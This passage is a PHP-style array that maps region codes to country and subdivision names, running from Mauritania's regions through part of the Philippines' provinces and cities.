'MR-05' => 'Mauritania: Brakna',
'MR-08' => 'Mauritania: Dakhlet Nouadhibou',
'MR-04' => 'Mauritania: Gorgol',
'MR-10' => 'Mauritania: Guidimaka',
'MR-01' => 'Mauritania: Hodh Ech Chargui',
'MR-02' => 'Mauritania: Hodh El Gharbi',
'MR-12' => 'Mauritania: Inchiri',
'MR-09' => 'Mauritania: Tagant',
'MR-11' => 'Mauritania: Tiris Zemmour',
'MR-06' => 'Mauritania: Trarza',
'--MU' => '','-MU' =>
'Mauritius',
'MU-21' => 'Mauritius: Agalega Islands',
'MU-12' => 'Mauritius: Black River',
'MU-22' => 'Mauritius: Cargados Carajos',
'MU-13' => 'Mauritius: Flacq',
'MU-14' => 'Mauritius: Grand Port',
'MU-15' => 'Mauritius: Moka',
'MU-16' => 'Mauritius: Pamplemousses',
'MU-17' => 'Mauritius: Plaines Wilhems',
'MU-18' => 'Mauritius: Port Louis',
'MU-19' => 'Mauritius: Riviere du Rempart',
'MU-23' => 'Mauritius: Rodrigues',
'MU-20' => 'Mauritius: Savanne',
'--MX' => '','-MX' =>
'Mexico',
'MX-01' => 'Mexico: Aguascalientes',
'MX-03' => 'Mexico: Baja California Sur',
'MX-02' => 'Mexico: Baja California',
'MX-04' => 'Mexico: Campeche',
'MX-05' => 'Mexico: Chiapas',
'MX-06' => 'Mexico: Chihuahua',
'MX-07' => 'Mexico: Coahuila de Zaragoza',
'MX-08' => 'Mexico: Colima',
'MX-09' => 'Mexico: Distrito Federal',
'MX-10' => 'Mexico: Durango',
'MX-11' => 'Mexico: Guanajuato',
'MX-12' => 'Mexico: Guerrero',
'MX-13' => 'Mexico: Hidalgo',
'MX-14' => 'Mexico: Jalisco',
'MX-15' => 'Mexico: Mexico',
'MX-16' => 'Mexico: Michoacan de Ocampo',
'MX-17' => 'Mexico: Morelos',
'MX-18' => 'Mexico: Nayarit',
'MX-19' => 'Mexico: Nuevo Leon',
'MX-20' => 'Mexico: Oaxaca',
'MX-21' => 'Mexico: Puebla',
'MX-22' => 'Mexico: Queretaro de Arteaga',
'MX-23' => 'Mexico: Quintana Roo',
'MX-24' => 'Mexico: San Luis Potosi',
'MX-25' => 'Mexico: Sinaloa',
'MX-26' => 'Mexico: Sonora',
'MX-27' => 'Mexico: Tabasco',
'MX-28' => 'Mexico: Tamaulipas',
'MX-29' => 'Mexico: Tlaxcala',
'MX-30' => 'Mexico: Veracruz-Llave',
'MX-31' => 'Mexico: Yucatan',
'MX-32' => 'Mexico: Zacatecas',
'--FM' => '','-FM' =>
'Micronesia',
'FM-03' => 'Micronesia: Chuuk',
'FM-01' => 'Micronesia: Kosrae',
'FM-02' => 'Micronesia: Pohnpei',
'FM-04' => 'Micronesia: Yap',
'--MD' => '','-MD' =>
'Moldova',
'MD-46' => 'Moldova: Balti',
'MD-47' => 'Moldova: Cahul',
'MD-48' => 'Moldova: Chisinau',
'MD-50' => 'Moldova: Edinet',
'MD-51' => 'Moldova: Gagauzia',
'MD-52' => 'Moldova: Lapusna',
'MD-53' => 'Moldova: Orhei',
'MD-54' => 'Moldova: Soroca',
'MD-49' => 'Moldova: Stinga Nistrului',
'MD-55' => 'Moldova: Tighina',
'MD-56' => 'Moldova: Ungheni',
'--MC' => '','-MC' =>
'Monaco',
'MC-01' => 'Monaco: La Condamine',
'MC-02' => 'Monaco: Monaco',
'MC-03' => 'Monaco: Monte-Carlo',
'--MN' => '','-MN' =>
'Mongolia',
'MN-01' => 'Mongolia: Arhangay',
'MN-02' => 'Mongolia: Bayanhongor',
'MN-03' => 'Mongolia: Bayan-Olgiy',
'MN-21' => 'Mongolia: Bulgan',
'MN-23' => 'Mongolia: Darhan Uul',
'MN-05' => 'Mongolia: Darhan',
'MN-06' => 'Mongolia: Dornod',
'MN-07' => 'Mongolia: Dornogovi',
'MN-08' => 'Mongolia: Dundgovi',
'MN-09' => 'Mongolia: Dzavhan',
'MN-22' => 'Mongolia: Erdenet',
'MN-10' => 'Mongolia: Govi-Altay',
'MN-24' => 'Mongolia: Govi-Sumber',
'MN-11' => 'Mongolia: Hentiy',
'MN-12' => 'Mongolia: Hovd',
'MN-13' => 'Mongolia: Hovsgol',
'MN-14' => 'Mongolia: Omnogovi',
'MN-25' => 'Mongolia: Orhon',
'MN-15' => 'Mongolia: Ovorhangay',
'MN-16' => 'Mongolia: Selenge',
'MN-17' => 'Mongolia: Suhbaatar',
'MN-18' => 'Mongolia: Tov',
'MN-20' => 'Mongolia: Ulaanbaatar',
'MN-19' => 'Mongolia: Uvs',
'--MS' => '','-MS' =>
'Montserrat',
'MS-01' => 'Montserrat: Saint Anthony',
'MS-02' => 'Montserrat: Saint Georges',
'MS-03' => 'Montserrat: Saint Peter',
'--MA' => '','-MA' =>
'Morocco',
'MA-01' => 'Morocco: Agadir',
'MA-02' => 'Morocco: Al Hoceima',
'MA-03' => 'Morocco: Azilal',
'MA-04' => 'Morocco: Ben Slimane',
'MA-05' => 'Morocco: Beni Mellal',
'MA-06' => 'Morocco: Boulemane',
'MA-07' => 'Morocco: Casablanca',
'MA-08' => 'Morocco: Chaouen',
'MA-09' => 'Morocco: El Jadida',
'MA-10' => 'Morocco: El Kelaa des Srarhna',
'MA-11' => 'Morocco: Er Rachidia',
'MA-12' => 'Morocco: Essaouira',
'MA-13' => 'Morocco: Fes',
'MA-14' => 'Morocco: Figuig',
'MA-33' => 'Morocco: Guelmim',
'MA-34' => 'Morocco: Ifrane',
'MA-15' => 'Morocco: Kenitra',
'MA-16' => 'Morocco: Khemisset',
'MA-17' => 'Morocco: Khenifra',
'MA-18' => 'Morocco: Khouribga',
'MA-35' => 'Morocco: Laayoune',
'MA-41' => 'Morocco: Larache',
'MA-19' => 'Morocco: Marrakech',
'MA-20' => 'Morocco: Meknes',
'MA-21' => 'Morocco: Nador',
'MA-22' => 'Morocco: Ouarzazate',
'MA-23' => 'Morocco: Oujda',
'MA-24' => 'Morocco: Rabat-Sale',
'MA-25' => 'Morocco: Safi',
'MA-26' => 'Morocco: Settat',
'MA-38' => 'Morocco: Sidi Kacem',
'MA-27' => 'Morocco: Tanger',
'MA-36' => 'Morocco: Tan-Tan',
'MA-37' => 'Morocco: Taounate',
'MA-39' => 'Morocco: Taroudannt',
'MA-29' => 'Morocco: Tata',
'MA-30' => 'Morocco: Taza',
'MA-40' => 'Morocco: Tetouan',
'MA-32' => 'Morocco: Tiznit',
'--MZ' => '','-MZ' =>
'Mozambique',
'MZ-01' => 'Mozambique: Cabo Delgado',
'MZ-02' => 'Mozambique: Gaza',
'MZ-03' => 'Mozambique: Inhambane',
'MZ-10' => 'Mozambique: Manica',
'MZ-04' => 'Mozambique: Maputo',
'MZ-06' => 'Mozambique: Nampula',
'MZ-07' => 'Mozambique: Niassa',
'MZ-05' => 'Mozambique: Sofala',
'MZ-08' => 'Mozambique: Tete',
'MZ-09' => 'Mozambique: Zambezia',
'--MM' => '','-MM' =>
'Myanmar',
'MM-02' => 'Myanmar: Chin State',
'MM-03' => 'Myanmar: Irrawaddy',
'MM-04' => 'Myanmar: Kachin State',
'MM-05' => 'Myanmar: Karan State',
'MM-06' => 'Myanmar: Kayah State',
'MM-07' => 'Myanmar: Magwe',
'MM-08' => 'Myanmar: Mandalay',
'MM-13' => 'Myanmar: Mon State',
'MM-09' => 'Myanmar: Pegu',
'MM-01' => 'Myanmar: Rakhine State',
'MM-14' => 'Myanmar: Rangoon',
'MM-10' => 'Myanmar: Sagaing',
'MM-11' => 'Myanmar: Shan State',
'MM-12' => 'Myanmar: Tenasserim',
'MM-17' => 'Myanmar: Yangon',
'--NA' => '','-NA' =>
'Namibia',
'NA-01' => 'Namibia: Bethanien',
'NA-03' => 'Namibia: Boesmanland',
'NA-02' => 'Namibia: Caprivi Oos',
'NA-28' => 'Namibia: Caprivi',
'NA-22' => 'Namibia: Damaraland',
'NA-29' => 'Namibia: Erongo',
'NA-04' => 'Namibia: Gobabis',
'NA-05' => 'Namibia: Grootfontein',
'NA-30' => 'Namibia: Hardap',
'NA-23' => 'Namibia: Hereroland Oos',
'NA-24' => 'Namibia: Hereroland Wes',
'NA-06' => 'Namibia: Kaokoland',
'NA-31' => 'Namibia: Karas',
'NA-20' => 'Namibia: Karasburg',
'NA-07' => 'Namibia: Karibib',
'NA-25' => 'Namibia: Kavango',
'NA-08' => 'Namibia: Keetmanshoop',
'NA-32' => 'Namibia: Kunene',
'NA-09' => 'Namibia: Luderitz',
'NA-10' => 'Namibia: Maltahohe',
'NA-26' => 'Namibia: Mariental',
'NA-27' => 'Namibia: Namaland',
'NA-33' => 'Namibia: Ohangwena',
'NA-11' => 'Namibia: Okahandja',
'NA-34' => 'Namibia: Okavango',
'NA-35' => 'Namibia: Omaheke',
'NA-12' => 'Namibia: Omaruru',
'NA-36' => 'Namibia: Omusati',
'NA-37' => 'Namibia: Oshana',
'NA-38' => 'Namibia: Oshikoto',
'NA-13' => 'Namibia: Otjiwarongo',
'NA-39' => 'Namibia: Otjozondjupa',
'NA-14' => 'Namibia: Outjo',
'NA-15' => 'Namibia: Owambo',
'NA-16' => 'Namibia: Rehoboth',
'NA-17' => 'Namibia: Swakopmund',
'NA-18' => 'Namibia: Tsumeb',
'NA-21' => 'Namibia: Windhoek',
'--NR' => '','-NR' =>
'Nauru',
'NR-01' => 'Nauru: Aiwo',
'NR-02' => 'Nauru: Anabar',
'NR-03' => 'Nauru: Anetan',
'NR-04' => 'Nauru: Anibare',
'NR-05' => 'Nauru: Baiti',
'NR-06' => 'Nauru: Boe',
'NR-07' => 'Nauru: Buada',
'NR-08' => 'Nauru: Denigomodu',
'NR-09' => 'Nauru: Ewa',
'NR-10' => 'Nauru: Ijuw',
'NR-11' => 'Nauru: Meneng',
'NR-12' => 'Nauru: Nibok',
'NR-13' => 'Nauru: Uaboe',
'NR-14' => 'Nauru: Yaren',
'--NP' => '','-NP' =>
'Nepal',
'NP-01' => 'Nepal: Bagmati',
'NP-02' => 'Nepal: Bheri',
'NP-03' => 'Nepal: Dhawalagiri',
'NP-04' => 'Nepal: Gandaki',
'NP-05' => 'Nepal: Janakpur',
'NP-06' => 'Nepal: Karnali',
'NP-07' => 'Nepal: Kosi',
'NP-08' => 'Nepal: Lumbini',
'NP-09' => 'Nepal: Mahakali',
'NP-10' => 'Nepal: Mechi',
'NP-11' => 'Nepal: Narayani',
'NP-12' => 'Nepal: Rapti',
'NP-13' => 'Nepal: Sagarmatha',
'NP-14' => 'Nepal: Seti',
'--NL' => '','-NL' =>
'Netherlands',
'NL-01' => 'Netherlands: Drenthe',
'NL-16' => 'Netherlands: Flevoland',
'NL-02' => 'Netherlands: Friesland',
'NL-03' => 'Netherlands: Gelderland',
'NL-04' => 'Netherlands: Groningen',
'NL-05' => 'Netherlands: Limburg',
'NL-06' => 'Netherlands: Noord-Brabant',
'NL-07' => 'Netherlands: Noord-Holland',
'NL-15' => 'Netherlands: Overijssel',
'NL-09' => 'Netherlands: Utrecht',
'NL-10' => 'Netherlands: Zeeland',
'NL-11' => 'Netherlands: Zuid-Holland',
'--NZ' => '','-NZ' => 'New
Zealand',
'NZ-01' => 'New Zealand: Akaroa',
'NZ-03' => 'New Zealand: Amuri',
'NZ-04' => 'New Zealand: Ashburton',
'NZ-07' => 'New Zealand: Bay of Islands',
'NZ-08' => 'New Zealand: Bruce',
'NZ-09' => 'New Zealand: Buller',
'NZ-10' => 'New Zealand: Chatham Islands',
'NZ-11' => 'New Zealand: Cheviot',
'NZ-12' => 'New Zealand: Clifton',
'NZ-13' => 'New Zealand: Clutha',
'NZ-14' => 'New Zealand: Cook',
'NZ-16' => 'New Zealand: Dannevirke',
'NZ-17' => 'New Zealand: Egmont',
'NZ-18' => 'New Zealand: Eketahuna',
'NZ-19' => 'New Zealand: Ellesmere',
'NZ-20' => 'New Zealand: Eltham',
'NZ-21' => 'New Zealand: Eyre',
'NZ-22' => 'New Zealand: Featherston',
'NZ-24' => 'New Zealand: Franklin',
'NZ-26' => 'New Zealand: Golden Bay',
'NZ-27' => 'New Zealand: Great Barrier Island',
'NZ-28' => 'New Zealand: Grey',
'NZ-29' => 'New Zealand: Hauraki Plains',
'NZ-30' => 'New Zealand: Hawera',
'NZ-31' => 'New Zealand: Hawke\'s Bay',
'NZ-32' => 'New Zealand: Heathcote',
'NZ-D9' => 'New Zealand: Hikurangi',
'NZ-33' => 'New Zealand: Hobson',
'NZ-34' => 'New Zealand: Hokianga',
'NZ-35' => 'New Zealand: Horowhenua',
'NZ-D4' => 'New Zealand: Hurunui',
'NZ-36' => 'New Zealand: Hutt',
'NZ-37' => 'New Zealand: Inangahua',
'NZ-38' => 'New Zealand: Inglewood',
'NZ-39' => 'New Zealand: Kaikoura',
'NZ-40' => 'New Zealand: Kairanga',
'NZ-41' => 'New Zealand: Kiwitea',
'NZ-43' => 'New Zealand: Lake',
'NZ-45' => 'New Zealand: Mackenzie',
'NZ-46' => 'New Zealand: Malvern',
'NZ-E1' => 'New Zealand: Manaia',
'NZ-47' => 'New Zealand: Manawatu',
'NZ-48' => 'New Zealand: Mangonui',
'NZ-49' => 'New Zealand: Maniototo',
'NZ-50' => 'New Zealand: Marlborough',
'NZ-51' => 'New Zealand: Masterton',
'NZ-52' => 'New Zealand: Matamata',
'NZ-53' => 'New Zealand: Mount Herbert',
'NZ-54' => 'New Zealand: Ohinemuri',
'NZ-55' => 'New Zealand: Opotiki',
'NZ-56' => 'New Zealand: Oroua',
'NZ-57' => 'New Zealand: Otamatea',
'NZ-58' => 'New Zealand: Otorohanga',
'NZ-59' => 'New Zealand: Oxford',
'NZ-60' => 'New Zealand: Pahiatua',
'NZ-61' => 'New Zealand: Paparua',
'NZ-63' => 'New Zealand: Patea',
'NZ-65' => 'New Zealand: Piako',
'NZ-66' => 'New Zealand: Pohangina',
'NZ-67' => 'New Zealand: Raglan',
'NZ-68' => 'New Zealand: Rangiora',
'NZ-69' => 'New Zealand: Rangitikei',
'NZ-70' => 'New Zealand: Rodney',
'NZ-71' => 'New Zealand: Rotorua',
'NZ-E2' => 'New Zealand: Runanga',
'NZ-E3' => 'New Zealand: Saint Kilda',
'NZ-D5' => 'New Zealand: Silverpeaks',
'NZ-72' => 'New Zealand: Southland',
'NZ-73' => 'New Zealand: Stewart Island',
'NZ-74' => 'New Zealand: Stratford',
'NZ-D6' => 'New Zealand: Strathallan',
'NZ-76' => 'New Zealand: Taranaki',
'NZ-77' => 'New Zealand: Taumarunui',
'NZ-78' => 'New Zealand: Taupo',
'NZ-79' => 'New Zealand: Tauranga',
'NZ-E4' => 'New Zealand: Thames-Coromandel',
'NZ-81' => 'New Zealand: Tuapeka',
'NZ-82' => 'New Zealand: Vincent',
'NZ-83' => 'New Zealand: Waiapu',
'NZ-D8' => 'New Zealand: Waiheke',
'NZ-84' => 'New Zealand: Waihemo',
'NZ-85' => 'New Zealand: Waikato',
'NZ-86' => 'New Zealand: Waikohu',
'NZ-88' => 'New Zealand: Waimairi',
'NZ-89' => 'New Zealand: Waimarino',
'NZ-91' => 'New Zealand: Waimate West',
'NZ-90' => 'New Zealand: Waimate',
'NZ-92' => 'New Zealand: Waimea',
'NZ-93' => 'New Zealand: Waipa',
'NZ-95' => 'New Zealand: Waipawa',
'NZ-96' => 'New Zealand: Waipukurau',
'NZ-97' => 'New Zealand: Wairarapa South',
'NZ-98' => 'New Zealand: Wairewa',
'NZ-99' => 'New Zealand: Wairoa',
'NZ-A4' => 'New Zealand: Waitaki',
'NZ-A6' => 'New Zealand: Waitomo',
'NZ-A8' => 'New Zealand: Waitotara',
'NZ-E6' => 'New Zealand: Wallace',
'NZ-B2' => 'New Zealand: Wanganui',
'NZ-E5' => 'New Zealand: Waverley',
'NZ-B3' => 'New Zealand: Westland',
'NZ-B4' => 'New Zealand: Whakatane',
'NZ-A1' => 'New Zealand: Whangarei',
'NZ-A2' => 'New Zealand: Whangaroa',
'NZ-A3' => 'New Zealand: Woodmark',
'--NI' => '','-NI' =>
'Nicaragua',
'NI-01' => 'Nicaragua: Boaco',
'NI-02' => 'Nicaragua: Carazo',
'NI-03' => 'Nicaragua: Chinandega',
'NI-04' => 'Nicaragua: Chontales',
'NI-05' => 'Nicaragua: Esteli',
'NI-06' => 'Nicaragua: Granada',
'NI-07' => 'Nicaragua: Jinotega',
'NI-08' => 'Nicaragua: Leon',
'NI-09' => 'Nicaragua: Madriz',
'NI-10' => 'Nicaragua: Managua',
'NI-11' => 'Nicaragua: Masaya',
'NI-12' => 'Nicaragua: Matagalpa',
'NI-13' => 'Nicaragua: Nueva Segovia',
'NI-14' => 'Nicaragua: Rio San Juan',
'NI-15' => 'Nicaragua: Rivas',
'NI-16' => 'Nicaragua: Zelaya',
'--NE' => '','-NE' =>
'Niger',
'NE-01' => 'Niger: Agadez',
'NE-02' => 'Niger: Diffa',
'NE-03' => 'Niger: Dosso',
'NE-04' => 'Niger: Maradi',
'NE-05' => 'Niger: Niamey',
'NE-06' => 'Niger: Tahoua',
'NE-07' => 'Niger: Zinder',
'--NG' => '','-NG' =>
'Nigeria',
'NG-45' => 'Nigeria: Abia',
'NG-11' => 'Nigeria: Abuja Capital Territory',
'NG-35' => 'Nigeria: Adamawa',
'NG-21' => 'Nigeria: Akwa Ibom',
'NG-25' => 'Nigeria: Anambra',
'NG-46' => 'Nigeria: Bauchi',
'NG-52' => 'Nigeria: Bayelsa',
'NG-26' => 'Nigeria: Benue',
'NG-27' => 'Nigeria: Borno',
'NG-22' => 'Nigeria: Cross River',
'NG-36' => 'Nigeria: Delta',
'NG-53' => 'Nigeria: Ebonyi',
'NG-37' => 'Nigeria: Edo',
'NG-54' => 'Nigeria: Ekiti',
'NG-47' => 'Nigeria: Enugu',
'NG-55' => 'Nigeria: Gombe',
'NG-28' => 'Nigeria: Imo',
'NG-39' => 'Nigeria: Jigawa',
'NG-23' => 'Nigeria: Kaduna',
'NG-29' => 'Nigeria: Kano',
'NG-24' => 'Nigeria: Katsina',
'NG-40' => 'Nigeria: Kebbi',
'NG-41' => 'Nigeria: Kogi',
'NG-30' => 'Nigeria: Kwara',
'NG-05' => 'Nigeria: Lagos',
'NG-56' => 'Nigeria: Nassarawa',
'NG-31' => 'Nigeria: Niger',
'NG-16' => 'Nigeria: Ogun',
'NG-48' => 'Nigeria: Ondo',
'NG-42' => 'Nigeria: Osun',
'NG-32' => 'Nigeria: Oyo',
'NG-49' => 'Nigeria: Plateau',
'NG-50' => 'Nigeria: Rivers',
'NG-51' => 'Nigeria: Sokoto',
'NG-43' => 'Nigeria: Taraba',
'NG-44' => 'Nigeria: Yobe',
'NG-57' => 'Nigeria: Zamfara',
'--KP' => '','-KP' => 'North
Korea',
'KP-01' => 'North Korea: Chagang-do',
'KP-17' => 'North Korea: Hamgyong-bukto',
'KP-03' => 'North Korea: Hamgyong-namdo',
'KP-07' => 'North Korea: Hwanghae-bukto',
'KP-06' => 'North Korea: Hwanghae-namdo',
'KP-08' => 'North Korea: Kaesong-si',
'KP-09' => 'North Korea: Kangwon-do',
'KP-18' => 'North Korea: Najin Sonbong-si',
'KP-14' => 'North Korea: Namp\'o-si',
'KP-11' => 'North Korea: P\'yongan-bukto',
'KP-15' => 'North Korea: P\'yongan-namdo',
'KP-12' => 'North Korea: P\'yongyang-si',
'KP-13' => 'North Korea: Yanggang-do',
'--NO' => '','-NO' =>
'Norway',
'NO-01' => 'Norway: Akershus',
'NO-02' => 'Norway: Aust-Agder',
'NO-04' => 'Norway: Buskerud',
'NO-05' => 'Norway: Finnmark',
'NO-06' => 'Norway: Hedmark',
'NO-07' => 'Norway: Hordaland',
'NO-08' => 'Norway: More og Romsdal',
'NO-09' => 'Norway: Nordland',
'NO-10' => 'Norway: Nord-Trondelag',
'NO-11' => 'Norway: Oppland',
'NO-12' => 'Norway: Oslo',
'NO-13' => 'Norway: Ostfold',
'NO-14' => 'Norway: Rogaland',
'NO-15' => 'Norway: Sogn og Fjordane',
'NO-16' => 'Norway: Sor-Trondelag',
'NO-17' => 'Norway: Telemark',
'NO-18' => 'Norway: Troms',
'NO-19' => 'Norway: Vest-Agder',
'NO-20' => 'Norway: Vestfold',
'--OM' => '','-OM' => 'Oman',
'OM-01' => 'Oman: Ad Dakhiliyah',
'OM-02' => 'Oman: Al Batinah',
'OM-03' => 'Oman: Al Wusta',
'OM-04' => 'Oman: Ash Sharqiyah',
'OM-05' => 'Oman: Az Zahirah',
'OM-06' => 'Oman: Masqat',
'OM-07' => 'Oman: Musandam',
'OM-08' => 'Oman: Zufar',
'--PK' => '','-PK' =>
'Pakistan',
'PK-06' => 'Pakistan: Azad Kashmir',
'PK-02' => 'Pakistan: Balochistan',
'PK-01' => 'Pakistan: Federally Administered Tribal
Areas',
'PK-08' => 'Pakistan: Islamabad',
'PK-07' => 'Pakistan: Northern Areas',
'PK-03' => 'Pakistan: North-West Frontier',
'PK-04' => 'Pakistan: Punjab',
'PK-05' => 'Pakistan: Sindh',
'--PA' => '','-PA' =>
'Panama',
'PA-01' => 'Panama: Bocas del Toro',
'PA-02' => 'Panama: Chiriqui',
'PA-03' => 'Panama: Cocle',
'PA-04' => 'Panama: Colon',
'PA-05' => 'Panama: Darien',
'PA-06' => 'Panama: Herrera',
'PA-07' => 'Panama: Los Santos',
'PA-08' => 'Panama: Panama',
'PA-09' => 'Panama: San Blas',
'PA-10' => 'Panama: Veraguas',
'--PG' => '','-PG' => 'Papua New
Guinea',
'PG-01' => 'Papua New Guinea: Central',
'PG-08' => 'Papua New Guinea: Chimbu',
'PG-10' => 'Papua New Guinea: East New Britain',
'PG-11' => 'Papua New Guinea: East Sepik',
'PG-09' => 'Papua New Guinea: Eastern Highlands',
'PG-19' => 'Papua New Guinea: Enga',
'PG-02' => 'Papua New Guinea: Gulf',
'PG-12' => 'Papua New Guinea: Madang',
'PG-13' => 'Papua New Guinea: Manus',
'PG-03' => 'Papua New Guinea: Milne Bay',
'PG-14' => 'Papua New Guinea: Morobe',
'PG-20' => 'Papua New Guinea: National Capital',
'PG-15' => 'Papua New Guinea: New Ireland',
'PG-07' => 'Papua New Guinea: North Solomons',
'PG-04' => 'Papua New Guinea: Northern',
'PG-18' => 'Papua New Guinea: Sandaun',
'PG-05' => 'Papua New Guinea: Southern Highlands',
'PG-17' => 'Papua New Guinea: West New Britain',
'PG-16' => 'Papua New Guinea: Western Highlands',
'PG-06' => 'Papua New Guinea: Western',
'--PY' => '','-PY' =>
'Paraguay',
'PY-23' => 'Paraguay: Alto Paraguay',
'PY-01' => 'Paraguay: Alto Parana',
'PY-02' => 'Paraguay: Amambay',
'PY-03' => 'Paraguay: Boqueron',
'PY-04' => 'Paraguay: Caaguazu',
'PY-05' => 'Paraguay: Caazapa',
'PY-19' => 'Paraguay: Canindeyu',
'PY-06' => 'Paraguay: Central',
'PY-20' => 'Paraguay: Chaco',
'PY-07' => 'Paraguay: Concepcion',
'PY-08' => 'Paraguay: Cordillera',
'PY-10' => 'Paraguay: Guaira',
'PY-11' => 'Paraguay: Itapua',
'PY-12' => 'Paraguay: Misiones',
'PY-13' => 'Paraguay: Neembucu',
'PY-21' => 'Paraguay: Nueva Asuncion',
'PY-15' => 'Paraguay: Paraguari',
'PY-16' => 'Paraguay: Presidente Hayes',
'PY-17' => 'Paraguay: San Pedro',
'--PE' => '','-PE' => 'Peru',
'PE-01' => 'Peru: Amazonas',
'PE-02' => 'Peru: Ancash',
'PE-03' => 'Peru: Apurimac',
'PE-04' => 'Peru: Arequipa',
'PE-05' => 'Peru: Ayacucho',
'PE-06' => 'Peru: Cajamarca',
'PE-07' => 'Peru: Callao',
'PE-08' => 'Peru: Cusco',
'PE-09' => 'Peru: Huancavelica',
'PE-10' => 'Peru: Huanuco',
'PE-11' => 'Peru: Ica',
'PE-12' => 'Peru: Junin',
'PE-13' => 'Peru: La Libertad',
'PE-14' => 'Peru: Lambayeque',
'PE-15' => 'Peru: Lima',
'PE-16' => 'Peru: Loreto',
'PE-17' => 'Peru: Madre de Dios',
'PE-18' => 'Peru: Moquegua',
'PE-19' => 'Peru: Pasco',
'PE-20' => 'Peru: Piura',
'PE-21' => 'Peru: Puno',
'PE-22' => 'Peru: San Martin',
'PE-23' => 'Peru: Tacna',
'PE-24' => 'Peru: Tumbes',
'PE-25' => 'Peru: Ucayali',
'--PH' => '','-PH' =>
'Philippines',
'PH-01' => 'Philippines: Abra',
'PH-02' => 'Philippines: Agusan del Norte',
'PH-03' => 'Philippines: Agusan del Sur',
'PH-04' => 'Philippines: Aklan',
'PH-05' => 'Philippines: Albay',
'PH-A1' => 'Philippines: Angeles',
'PH-06' => 'Philippines: Antique',
'PH-G8' => 'Philippines: Aurora',
'PH-A2' => 'Philippines: Bacolod',
'PH-A3' => 'Philippines: Bago',
'PH-A4' => 'Philippines: Baguio',
'PH-A5' => 'Philippines: Bais',
'PH-A6' => 'Philippines: Basilan City',
'PH-22' => 'Philippines: Basilan',
'PH-07' => 'Philippines: Bataan',
'PH-08' => 'Philippines: Batanes',
'PH-A7' => 'Philippines: Batangas City',
'PH-09' => 'Philippines: Batangas',
'PH-10' => 'Philippines: Benguet',
'PH-11' => 'Philippines: Bohol',
'PH-12' => 'Philippines: Bukidnon',
'PH-13' => 'Philippines: Bulacan',
'PH-A8' => 'Philippines: Butuan',
'PH-A9' => 'Philippines: Cabanatuan',
'PH-B1' => 'Philippines: Cadiz',
'PH-B2' => 'Philippines: Cagayan de Oro',
'PH-14' => 'Philippines: Cagayan',
'PH-B3' => 'Philippines: Calbayog',
'PH-B4' => 'Philippines: Caloocan',
'PH-15' => 'Philippines: Camarines Norte',
'PH-16' => 'Philippines: Camarines Sur',
'PH-17' => 'Philippines: Camiguin',
'PH-B5' => 'Philippines: Canlaon',
'PH-18' => 'Philippines: Capiz',
'PH-19' => 'Philippines: Catanduanes',
'PH-B6' => 'Philippines: Cavite City',
'PH-20' => 'Philippines: Cavite',
'PH-B7' => 'Philippines: Cebu City',
'PH-21' => 'Philippines: Cebu',
'PH-B8' => 'Philippines: Cotabato',
'PH-B9' => 'Philippines: Dagupan',
'PH-C1' => 'Philippines: Danao',
'PH-C2' => 'Philippines: Dapitan',
'PH-C3' => 'Philippines: Davao City',
'PH-25' => 'Philippines: Davao del Sur',
'PH-26' => 'Philippines: Davao Oriental',
'PH-24' => 'Philippines: Davao',
'PH-C4' => 'Philippines: Dipolog',
'PH-C5' => 'Philippines: Dumaguete',
'PH-23' => 'Philippines: Eastern Samar',
'PH-C6' => 'Philippines: General Santos',
'PH-C7' => 'Philippines: Gingoog',
'PH-27' => 'Philippines: Ifugao',
'PH-C8' => 'Philippines: Iligan',
'PH-28' => 'Philippines: Ilocos Norte',
'PH-29' => 'Philippines: Ilocos Sur',
'PH-C9' => 'Philippines: Iloilo City',
'PH-30' => 'Philippines: Iloilo',
'PH-D1' => 'Philippines: Iriga',
'PH-31' => 'Philippines: Isabela',
'PH-32' => 'Philippines: Kalinga-Apayao',
'PH-D2' => 'Philippines: La Carlota',
'PH-36' => 'Philippines: La Union',
'PH-33' => 'Philippines: Laguna',
'PH-34' => 'Philippines: Lanao del Norte',
'PH-35' => 'Philippines: Lanao del Sur',
'PH-D3' => 'Philippines: Laoag',
'PH-D4' => 'Philippines: Lapu-Lapu',
'PH-D5' => 'Philippines: Legaspi',
'PH-37' => 'Philippines: Leyte',
'PH-D6' => 'Philippines: Lipa',
'PH-D7' => 'Philippines: Lucena',
'PH-56' => 'Philippines: Maguindanao',
'PH-D8' => 'Philippines: Mandaue',
'PH-D9' => 'Philippines: Manila',
'PH-E1' => 'Philippines: Marawi',
'PH-38' => 'Philippines: Marinduque',
'PH-39' => 'Philippines: Masbate',
'PH-40' => 'Philippines: Mindoro Occidental',
'PH-41' => 'Philippines: Mindoro Oriental',
'PH-42' => 'Philippines: Misamis Occidental',
'PH-43' => 'Philippines: Misamis Oriental',
'PH-44' => 'Philippines: Mountain',
'PH-E2' => 'Philippines: Naga',
'PH-H3' => 'Philippines: Negros Occidental',
'PH-46' => 'Philippines: Negros Oriental',
'PH-57' => 'Philippines: North Cotabato',
'PH-67' => 'Philippines: Northern Samar',
'PH-47' => 'Philippines: Nueva Ecija',
'PH-48' => 'Philippines: Nueva Vizcaya',
'PH-E3' => 'Philippines: Olongapo',
'PH-E4' => 'Philippines: Ormoc',
'PH-E5' => 'Philippines: Oroquieta',
'PH-E6' => 'Philippines: Ozamis',
'PH-E7' => 'Philippines: Pagadian',
'PH-49' => 'Philippines: Palawan',
'PH-E8' => 'Philippines: Palayan',
'PH-50' => 'Philippines: Pampanga',
'PH-51' => 'Philippines: Pangasinan',
'PH-E9' => 'Philippines: Pasay',
'PH-F1' => 'Philippines: Puerto Princesa',
'PH-F2' => 'Philippines: Quezon City',
'PH-H2' => 'Philippines: Quezon',
'PH-68' => 'Philippines: Quirino',
'PH-53' => 'Philippines: Rizal',
'PH-54' => 'Philippines: Romblon',
'PH-F3' => 'Philippines: Roxas',
'PH-55' => 'Philippines: Samar',
'PH-F4' => 'Philippines: San Carlos',
'PH-F5' => 'Philippines: San Carlos',
'PH-F6' => 'Philippines: San Jose',
'PH-F7' => 'Philippines: San Pablo',
'PH-F8' => 'Philippines: Silay',
'PH-69' => 'Philippines: Siquijor',
'PH-58' => 'Philippines: Sorsogon',
'PH-70' => 'Philippines: South Cotabato',
'PH-59' => 'Philippines: Southern Leyte',
'PH-71' => 'Philippines: Sultan Kudarat',
'PH-60' => 'Philippines: Sulu',
'PH-61' => 'Philippines: Surigao del Norte',
'PH-62' => 'Philippines: Surigao del Sur',
'PH-F9' => 'Philippines: Surigao',
'PH-G1' => 'Philippines: Tacloban',
'PH-G2' => 'Philippines: Tagaytay',
'PH-G3' => 'Philippines: Tagbilaran',
'PH-G4' => 'Philippines: Tangub',
